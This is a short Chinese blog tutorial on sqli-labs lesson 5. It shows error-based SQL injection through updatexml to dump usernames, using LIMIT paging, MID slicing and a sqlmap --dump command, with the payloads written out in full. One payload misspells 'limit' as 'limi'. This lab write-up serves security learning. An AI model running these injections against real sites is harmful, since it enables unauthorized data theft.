博主练习环境是sqli-labs靶场的第五关:查询users表中username的内容。
updatexml函数显示内容不全的情况:结尾处~符号显示查询完毕,此时内容显示不全。
![](https://i-blog.csdnimg.cn/blog_migrate/c76c9a01d6d9e5ad414941729d0b13e3.png)
方法1:limit子句分页查询
limit函数包含两个参数,第一个参数表示行,第二个参数表示列
?id=' and updatexml(1,concat(0x7e,(select username from users limi 0,1),0x7e),1)--+
![](https://i-blog.csdnimg.cn/blog_migrate/f117444dc6a78af99da27bcd7bee63b1.png)
此时查询到第一个字段,接着从0开始修改行数,可查询下一个字段
![](https://i-blog.csdnimg.cn/blog_migrate/9a84e4281ad0b4923315224baee68010.png)
查询完毕后可查询到13个字段。
方法2:mid函数从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name
第一个参数是要提取的列名,第二个参数为起始位置,第三个参数为返回的字符个数
?id=' and updatexml(1,concat(0x7e,mid((select group_concat(username) from users),1,31),0x7e),1)--+
![](https://i-blog.csdnimg.cn/blog_migrate/8646c00318fb4d3f0776be5456054c7d.png)
ps:最多可查询31个字符
此时查询到31个字符,接着修改起始位置,直到查询结束。
![](https://i-blog.csdnimg.cn/blog_migrate/a2a710355f0a1a1564c69fe9ee0f1f06.png)
![](https://i-blog.csdnimg.cn/blog_migrate/3d84d44b3532c3392307657f54e2ad54.png)
方法3:kali环境下进行sqlmap扫描
sqlmap -u 'http:/搭建sqli-labs的IP地址/sqli/Less-5/?id=1' -D security -T users -C username --dump
![](https://i-blog.csdnimg.cn/blog_migrate/fef0174c94e0341b9a9850eaf9528c3f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/20b4134678827d258cb5a60f7eaae823.png)
最后我们可以再MySQL数据库中进行查询验证:
![](https://i-blog.csdnimg.cn/blog_migrate/5e04bb44f93ca9fff1ff5e5aea3af92e.png)
可以发现三种方法查询显示均没问题~
大家自行尝试吧~😊